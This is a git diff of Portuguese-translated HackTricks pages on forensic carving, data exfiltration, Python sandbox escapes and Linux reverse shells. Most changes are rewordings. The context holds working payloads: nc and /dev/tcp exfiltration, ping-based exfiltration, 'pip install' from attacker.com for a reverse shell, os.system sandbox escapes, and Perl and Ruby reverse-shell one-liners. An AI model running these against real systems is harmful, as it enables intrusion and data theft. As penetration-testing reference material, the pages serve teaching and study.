diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index d655599fc..d9fd3d582 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -14,9 +14,9 @@ Outras maneiras de apoiar o HackTricks: -**Try Hard Security Group** +**Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -32,7 +32,7 @@ A ferramenta mais comum usada em forense para extrair arquivos de imagens é o [ ### Binwalk -**Binwalk** é uma ferramenta para analisar arquivos binários e encontrar conteúdo incorporado. É instalável via `apt` e seu código fonte está no [GitHub](https://github.com/ReFirmLabs/binwalk). +**Binwalk** é uma ferramenta para analisar arquivos binários e encontrar conteúdo incorporado. É instalável via `apt` e seu código-fonte está no [GitHub](https://github.com/ReFirmLabs/binwalk). **Comandos úteis**: ```bash @@ -43,7 +43,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file ``` ### Foremost -Outra ferramenta comum para encontrar arquivos ocultos é o **foremost**. Você pode encontrar o arquivo de configuração do foremost em `/etc/foremost.conf`. Se você deseja procurar por arquivos específicos, descomente-os. Caso contrário, o foremost pesquisará pelos tipos de arquivos configurados por padrão. +Outra ferramenta comum para encontrar arquivos ocultos é o **foremost**. Você pode encontrar o arquivo de configuração do foremost em `/etc/foremost.conf`. Se você deseja procurar por arquivos específicos, descomente-os. Caso contrário, o foremost procurará pelos tipos de arquivos configurados por padrão. ```bash sudo apt-get install foremost foremost -v -i file.img -o output @@ -58,7 +58,7 @@ scalpel file.img -o output ``` ### Bulk Extractor -Esta ferramenta vem incluída no kali mas você pode encontrá-la aqui: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) +Esta ferramenta está incluída no kali mas você pode encontrá-la aqui: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) Esta ferramenta pode escanear uma imagem e irá **extrair pcaps** dentro dela, **informações de rede (URLs, domínios, IPs, MACs, e-mails)** e mais **arquivos**. Você só precisa fazer: ``` @@ -68,7 +68,7 @@ bulk_extractor memory.img -o out_folder Você pode encontrá-lo em [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) -Ele vem com versões GUI e CLI. Você pode selecionar os **tipos de arquivos** que deseja que o PhotoRec procure. +Ele vem com versões GUI e CLI. Você pode selecionar os **tipos de arquivos** que deseja que o PhotoRec pesquise. ![](<../../../.gitbook/assets/image (524).png>) @@ -85,7 +85,7 @@ Verifique o [código](https://code.google.com/archive/p/binvis/) e a [página da * Obtendo **padrões** para criptoanálise em arquivos * **Identificando** algoritmos de empacotamento ou codificação * **Identificando** Esteganografia por padrões -* **Diferenciação** binária visual +* **Diferenciação** visual binária BinVis é um ótimo **ponto de partida para se familiarizar com um alvo desconhecido** em um cenário de caixa preta. @@ -95,16 +95,16 @@ BinVis é um ótimo **ponto de partida para se familiarizar com um alvo desconhe Procura por chaves AES pesquisando por suas agendas de chaves. Capaz de encontrar chaves de 128, 192 e 256 bits, como as usadas pelo TrueCrypt e BitLocker. -Baixe [aqui](https://sourceforge.net/projects/findaes/). +Faça o download [aqui](https://sourceforge.net/projects/findaes/). ## Ferramentas Complementares Você pode usar [**viu**](https://github.com/atanunq/viu) para ver imagens a partir do terminal.\ -Você pode usar a ferramenta de linha de comando do Linux **pdftotext** para transformar um PDF em texto e lê-lo. +Você pode usar a ferramenta de linha de comando do linux **pdftotext** para transformar um pdf em texto e lê-lo. **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -112,11 +112,11 @@ Você pode usar a ferramenta de linha de comando do Linux **pdftotext** para tra Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! -Outras maneiras de apoiar o HackTricks: +Outras formas de apoiar o HackTricks: -* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! -* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) +* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/generic-methodologies-and-resources/exfiltration.md b/generic-methodologies-and-resources/exfiltration.md index 5922208c9..4bea3e60c 100644 --- a/generic-methodologies-and-resources/exfiltration.md +++ b/generic-methodologies-and-resources/exfiltration.md @@ -6,7 +6,7 @@ Outras maneiras de apoiar o HackTricks: -* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** @@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks: **Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -185,33 +185,23 @@ guest ok = Yes #Start samba service smbd restart ``` -# Exfiltração de Dados do Windows +Windows -## Introdução +## Exfiltração -Nesta seção, discutiremos várias técnicas comuns para exfiltrar dados de sistemas Windows comprometidos. +### Ferramentas e Técnicas -## Técnicas de Exfiltração +Existem várias ferramentas e técnicas que podem ser usadas para exfiltrar dados de um sistema Windows comprometido. Algumas das técnicas comuns incluem: -### Utilizando Protocolos de Rede +- **Utilitários de linha de comando**: Utilização de utilitários como `bitsadmin`, `certutil`, `wmic`, `powershell`, entre outros, para transferir dados para um servidor remoto. +- **Protocolos de rede**: Uso de protocolos como HTTP, HTTPS, DNS, SMB, entre outros, para enviar dados para fora da rede comprometida. +- **Túneis criptografados**: Estabelecimento de túneis criptografados usando ferramentas como `Mimikatz` ou `PsExec` para enviar dados de forma segura. +- **Steganography**: Ocultação de dados dentro de arquivos de imagem, áudio ou vídeo para evitar detecção. +- **Uso de APIs do Windows**: Exploração de APIs do Windows para acessar e exfiltrar dados de forma programática. -Uma maneira comum de exfiltrar dados é através do uso de protocolos de rede, como HTTP, DNS ou até mesmo ICMP. Os dados podem ser codificados e enviados para um servidor controlado pelo atacante. +### Considerações Finais -### Armazenamento em Nuvem - -O armazenamento em nuvem também pode ser uma forma eficaz de exfiltrar dados. Os arquivos podem ser enviados para contas de armazenamento em nuvem, como Dropbox ou Google Drive, e posteriormente baixados pelo atacante. - -### Uso de Túneis Criptografados - -Túneis criptografados, como VPNs ou proxies, podem ser utilizados para enviar dados de forma segura para servidores remotos controlados pelo atacante. - -### Esteganografia - -A esteganografia é uma técnica que envolve ocultar dados dentro de arquivos de mídia, como imagens ou vídeos, para exfiltrá-los sem chamar a atenção. - -## Conclusão - -Existem várias maneiras de exfiltrar dados de sistemas Windows comprometidos, e os atacantes geralmente utilizam uma combinação de técnicas para garantir o sucesso da operação. É crucial que os profissionais de segurança estejam cientes dessas técnicas para proteger adequadamente os sistemas contra tais ataques. +É importante estar ciente das várias técnicas de exfiltração disponíveis em sistemas Windows para poder detectar e mitigar possíveis vazamentos de dados. O monitoramento contínuo do tráfego de rede, do uso de utilitários do sistema e da atividade do sistema pode ajudar a identificar atividades suspeitas e prevenir a perda não autorizada de dados. ```bash CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials @@ -234,6 +224,25 @@ sudo mkdir /mnt/sshfs sudo sshfs -o allow_other,default_permissions @:/ /mnt/sshfs/ ``` ## NC + +### Network Channels + +#### Description + +Network Channels (NC) are techniques used to exfiltrate data over network protocols. This can include common protocols such as HTTP, DNS, ICMP, or even custom protocols developed by an attacker. Network Channels are often used during post-exploitation phases to avoid detection by security controls that may be monitoring traditional channels. + +#### Resources + +- [**Chisel**](https://github.com/jpillora/chisel): A fast TCP tunnel over HTTP. +- [**Dnscat2**](https://github.com/iagox86/dnscat2): A tool designed to create an encrypted command-and-control (C&C) channel over the DNS protocol. +- [**Iodine**](https://code.kryo.se/iodine/): Tunnel IPv4 data through a DNS server. +- [**C2Ch**](https://github.com/krmaxwell/c2ch): Command and control over HTTP. + +#### Considerations + +- Network Channels can be used to bypass network filtering rules that only allow specific protocols or ports. +- Encrypted channels can help evade detection by security devices that are not able to inspect encrypted traffic. +- Monitoring network traffic for anomalies can help detect the use of Network Channels for data exfiltration. ```bash nc -lvnp 4444 > new_file nc -vn 4444 < exfil_file @@ -252,14 +261,9 @@ nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker exec 6< /dev/tcp/10.10.10.10/4444 cat <&6 > file.txt ``` -A seguir estão algumas técnicas comuns de exfiltração de dados usando o protocolo ICMP: +Agradecimentos a **@BinaryShadow\_** -- **Ping Tunneling**: Os dados são enviados em pacotes ICMP Echo Request e as respostas ICMP Echo Reply são usadas para recuperar os dados. -- **Covert Channel**: Os dados são ocultados nos campos de cabeçalho ICMP para evitar detecção. -- **ICMP Tunneling**: Os dados são encapsulados em pacotes ICMP para exfiltração. -- **ICMP Time Exceeded Messages**: Os dados são ocultados nos campos de mensagens ICMP Time Exceeded para exfiltração. - -Essas técnicas podem ser eficazes para exfiltrar dados de redes restritas, pois o tráfego ICMP é frequentemente permitido em muitos ambientes. +## **ICMP** ```bash # To exfiltrate the content of a file via pings you can do: xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ; done @@ -285,7 +289,7 @@ sudo python -m smtpd -n -c DebuggingServer :25 ``` ## TFTP -Por padrão no XP e 2003 (em outros sistemas, precisa ser adicionado explicitamente durante a instalação) +Por padrão no XP e 2003 (em outros sistemas é necessário adicioná-lo explicitamente durante a instalação) No Kali, **inicie o servidor TFTP**: ```bash @@ -310,28 +314,6 @@ Baixe um arquivo com um PHP oneliner: echo "" > down2.php ``` ## VBScript - -### Overview - -VBScript is a scripting language that is commonly used for Windows systems. It can be used for various tasks, including exfiltration of data from a compromised system. VBScript can be executed using the `cscript.exe` or `wscript.exe` interpreters. - -### Exfiltration Techniques - -#### File Transfer - -VBScript can be used to read data from files on the compromised system and transfer it to an external server using protocols such as HTTP or FTP. - -#### Email - -VBScript can also be used to send emails with exfiltrated data as attachments or within the email body. - -#### DNS - -VBScript can leverage DNS requests to exfiltrate data by encoding it within subdomains or query strings. - -### Detection - -Detection of VBScript exfiltration techniques can be challenging due to its legitimate use in Windows environments. Monitoring for suspicious network traffic, file access patterns, and email activity can help in detecting potential exfiltration attempts. ```bash Attacker> python -m SimpleHTTPServer 80 ``` @@ -385,7 +367,7 @@ Em seguida, copie e cole o texto no windows-shell e um arquivo chamado nc.exe se **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} diff --git a/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md b/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md index fb6706aa0..e44fb11c6 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md +++ b/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md @@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks: **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -28,7 +28,7 @@ Isso ajuda em várias ocasiões a **procurar por informações vazadas** ou por * [**SourceGraph**](https://sourcegraph.com/search): Pesquise em milhões de repositórios. Há uma versão gratuita e uma versão empresarial (com 15 dias grátis). Suporta regexes. * [**Github Search**](https://github.com/search): Pesquise no Github. Suporta regexes. -* Talvez também seja útil verificar o [**Github Code Search**](https://cs.github.com/). +* Talvez também seja útil verificar [**Github Code Search**](https://cs.github.com/). * [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Pesquise em projetos do Gitlab. Suporta regexes. * [**SearchCode**](https://searchcode.com/): Pesquise código em milhões de projetos. @@ -38,7 +38,7 @@ Quando você procura por vazamentos em um repositório e executa algo como `git **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} diff --git a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index c1e69b00d..e09d221d1 100644 --- a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -16,13 +16,13 @@ Outras maneiras de apoiar o HackTricks: **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} *** -Estas são algumas dicas para contornar as proteções de sandbox do Python e executar comandos arbitrários. +Estes são alguns truques para contornar as proteções de sandbox do Python e executar comandos arbitrários. ## Bibliotecas de Execução de Comandos @@ -94,17 +94,17 @@ Para obter mais informações sobre como o pickle funciona, acesse: [https://che Truque compartilhado por **@isHaacK** -Se você tiver acesso ao `pip` ou `pip.main()`, você pode instalar um pacote arbitrário e obter um shell reverso chamando: +Se você tiver acesso ao `pip` ou `pip.main()`, pode instalar um pacote arbitrário e obter um shell reverso chamando: ```bash pip install http://attacker.com/Rerverse.tar.gz pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) ``` -Pode baixar o pacote para criar o shell reverso aqui. Por favor, note que antes de usá-lo você deve **descompactá-lo, alterar o `setup.py` e colocar seu IP para o shell reverso**: +Pode baixar o pacote para criar o shell reverso aqui. Por favor, note que antes de usá-lo você deve **descompactá-lo, alterar o `setup.py`, e colocar seu IP para o shell reverso**: {% file src="../../../.gitbook/assets/reverse.tar.gz" %} {% hint style="info" %} -Este pacote é chamado `Reverse`. No entanto, foi especialmente elaborado para que, ao sair do shell reverso, o restante da instalação falhe, para que você **não deixe nenhum pacote Python extra instalado no servidor** ao sair. +Este pacote é chamado `Reverse`. No entanto, foi especialmente elaborado para que, ao sair do shell reverso, o restante da instalação falhe, então você **não deixará nenhum pacote Python extra instalado no servidor** ao sair. {% endhint %} ## Avaliando código Python @@ -113,7 +113,7 @@ Este pacote é chamado `Reverse`. No entanto, foi especialmente elaborado para q Observe que exec permite strings multilinhas e ";", mas eval não (verifique o operador walrus) {% endhint %} -Se certos caracteres forem proibidos, você pode usar a representação **hex/octal/B64** para **burlar** a restrição: +Se certos caracteres forem proibidos, você pode usar a representação em **hexadecimal/octal/Base64** para **burlar** a restrição: ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" @@ -159,7 +159,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval'] ``` ## Bypassando proteções através de codificações (UTF-7) -Neste [**artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 é usado para carregar e executar código Python arbitrário dentro de um sandbox aparente: +No [**este artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 é usado para carregar e executar código Python arbitrário dentro de um sandbox aparente: ```python assert b"+AAo-".decode("utf_7") == "\n" @@ -200,11 +200,11 @@ class _:pass ``` ### RCE criando objetos e sobrecarregando -Se você pode **declarar uma classe** e **criar um objeto** dessa classe, você pode **escrever/sobrescrever diferentes métodos** que podem ser **acionados** **sem** a necessidade de chamá-los diretamente. +Se você pode **declarar uma classe** e **criar um objeto** dessa classe, você pode **escrever/sobrescrever diferentes métodos** que podem ser **acionados** **sem** **precisar chamá-los diretamente**. #### RCE com classes personalizadas -Você pode modificar alguns **métodos de classe** (_sobrescrevendo métodos de classe existentes ou criando uma nova classe_) para fazê-los **executar código arbitrário** quando **acionados** sem chamá-los diretamente. +Você pode modificar alguns **métodos de classe** (_sobrescrevendo métodos de classe existentes ou criando uma nova classe_) para fazer com que eles **executem código arbitrário** quando **acionados** sem chamá-los diretamente. ```python # This class has 3 different ways to trigger RCE without directly calling any function class RCE: @@ -468,7 +468,7 @@ Por exemplo, sabendo que com a biblioteca **`sys`** é possível **importar bibl [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ``` -Existem muitos, e **precisamos apenas de um** para executar comandos: +Há muitos, e **só precisamos de um** para executar comandos: ```python [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") ``` @@ -686,7 +686,7 @@ Pode verificar a saída deste script nesta página: ## Python Format String -Se **enviar** uma **string** para o python que vai ser **formatada**, pode usar `{}` para aceder a **informações internas do python**. Pode usar os exemplos anteriores para aceder a globais ou builtins, por exemplo. +Se **enviar** uma **string** para o python que vai ser **formatada**, pode usar `{}` para aceder a **informações internas do python**. Pode usar os exemplos anteriores para aceder a variáveis globais ou funções integradas, por exemplo. {% hint style="info" %} No entanto, há uma **limitação**, só pode usar os símbolos `.[]`, então **não poderá executar código arbitrário**, apenas ler informações.\ @@ -711,11 +711,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS') st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` -Observe como você pode **acessar atributos** de forma normal com um **ponto** como `people_obj.__init__` e elementos de **dicionário** com **parênteses** sem aspas `__globals__[CONFIG]` +Observe como você pode **acessar atributos** de forma normal com um **ponto** como `people_obj.__init__` e **elemento de dicionário** com **parênteses** sem aspas `__globals__[CONFIG]` Também observe que você pode usar `.__dict__` para enumerar elementos de um objeto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` -Algumas outras características interessantes das strings de formatação é a possibilidade de **executar** as **funções** **`str`**, **`repr`** e **`ascii`** no objeto indicado adicionando **`!s`**, **`!r`**, **`!a`** respectivamente: +Algumas outras características interessantes das strings de formatação são a possibilidade de **executar** as **funções** **`str`**, **`repr`** e **`ascii`** no objeto indicado adicionando **`!s`**, **`!r`**, **`!a`** respectivamente: ```python st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" get_name_for_avatar(st, people_obj = people) @@ -755,10 +755,10 @@ Verifique também a seguinte página para gadgets que irão **ler informações ## Dissecando Objetos Python {% hint style="info" %} -Se você deseja aprender sobre o bytecode do Python em profundidade, leia este incrível artigo sobre o tópico: [https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) +Se você deseja aprender sobre o **bytecode do Python** em profundidade, leia este incrível artigo sobre o tópico: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) {% endhint %} -Em alguns CTFs, você pode receber o nome de uma função personalizada onde a flag está localizada e precisa ver os detalhes internos da função para extraí-la. +Em alguns CTFs, você pode receber o nome de uma **função personalizada onde a flag** está localizada e precisa ver os **detalhes** da **função** para extraí-la. Esta é a função a ser inspecionada: ```python @@ -881,7 +881,7 @@ dis.dis(get_flag) 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` -Observe que **se não for possível importar `dis` no sandbox do Python**, você pode obter o **bytecode** da função (`get_flag.func_code.co_code`) e **desmontá-lo** localmente. Você não verá o conteúdo das variáveis sendo carregadas (`LOAD_CONST`), mas pode deduzi-las de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` também indica o deslocamento da variável sendo carregada. +Observe que **se não for possível importar `dis` no sandbox do Python**, você pode obter o **bytecode** da função (`get_flag.func_code.co_code`) e **desmontá-lo** localmente. Você não verá o conteúdo das variáveis sendo carregadas (`LOAD_CONST`), mas pode deduzi-las a partir de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` também indica o deslocamento da variável sendo carregada. ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) @@ -996,7 +996,7 @@ mydict['__builtins__'] = __builtins__ codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) function_type(codeobj, mydict, None, None, None)() ``` -Se não for possível acessar `eval` ou `exec`, você pode criar uma **função apropriada**, mas chamá-la diretamente geralmente resultará em falha com: _constructor not accessible in restricted mode_. Portanto, você precisa de uma **função que não esteja no ambiente restrito para chamar esta função.** +Se você não consegue acessar `eval` ou `exec`, você poderia criar uma **função apropriada**, mas chamá-la diretamente geralmente falhará com: _constructor not accessible in restricted mode_. Portanto, você precisa de uma **função que não esteja no ambiente restrito para chamar esta função.** ```python #Compile a regular print ftype = type(lambda: None) @@ -1041,7 +1041,7 @@ serão contornados **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -1053,7 +1053,7 @@ Outras formas de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/generic-methodologies-and-resources/shells/linux.md b/generic-methodologies-and-resources/shells/linux.md index dec421ba1..aa4f3c44a 100644 --- a/generic-methodologies-and-resources/shells/linux.md +++ b/generic-methodologies-and-resources/shells/linux.md @@ -6,7 +6,7 @@ Outras maneiras de apoiar o HackTricks: -* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** @@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks: **Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -69,7 +69,7 @@ wget http:///shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s Ao lidar com uma vulnerabilidade de **Execução de Código Remoto (RCE)** em uma aplicação web baseada em Linux, alcançar um shell reverso pode ser obstruído por defesas de rede como regras iptables ou mecanismos complexos de filtragem de pacotes. Em ambientes tão restritos, uma abordagem alternativa envolve estabelecer um shell PTY (Pseudo Terminal) para interagir com o sistema comprometido de forma mais eficaz. -Uma ferramenta recomendada para esse fim é o [toboggan](https://github.com/n3rada/toboggan.git), que simplifica a interação com o ambiente alvo. +Uma ferramenta recomendada para esse fim é [toboggan](https://github.com/n3rada/toboggan.git), que simplifica a interação com o ambiente alvo. Para utilizar o toboggan de forma eficaz, crie um módulo Python adaptado ao contexto de RCE do seu sistema alvo. Por exemplo, um módulo chamado `nix.py` poderia ser estruturado da seguinte forma: ```python3 @@ -110,7 +110,7 @@ Você só precisa modificar: * O prefixo e sufixo da sua carga útil (se houver) * A forma como a carga útil é enviada (cabeçalhos? dados? informações extras?) -Em seguida, você pode simplesmente **enviar comandos** ou até mesmo **usar o comando `upgrade`** para obter um PTY completo (observe que os pipes são lidos e escritos com um atraso aproximado de 1,3s). +Então, você pode apenas **enviar comandos** ou até mesmo **usar o comando `upgrade`** para obter um PTY completo (observe que os pipes são lidos e escritos com um atraso aproximado de 1,3s). ## Netcat ```bash @@ -157,12 +157,14 @@ python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socke ``` ## Perl -Perl é uma linguagem de programação amplamente utilizada em hacking ético devido à sua capacidade de manipular strings, realizar operações de rede e executar comandos do sistema. Perl é conhecido por sua flexibilidade e expressividade, tornando-o uma escolha popular para tarefas de scripting durante testes de penetração. +Perl is a high-level, general-purpose, interpreted programming language known for its flexibility and powerful text processing capabilities. It is commonly used for system administration tasks, web development, and network programming. Perl scripts can be used to create powerful one-liners for various tasks, making it a popular choice for hackers and system administrators alike. ```bash perl -e 'use Socket;$i="";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` ## Ruby + +Ruby is a dynamic, open-source programming language with a focus on simplicity and productivity. It has an elegant syntax that is easy to read and write, making it a popular choice for web development and scripting. Ruby is known for its object-oriented approach and has a strong community that provides a wealth of resources and libraries to support developers. ```bash ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' @@ -346,7 +348,7 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new **Grupo de Segurança Try Hard** -
+
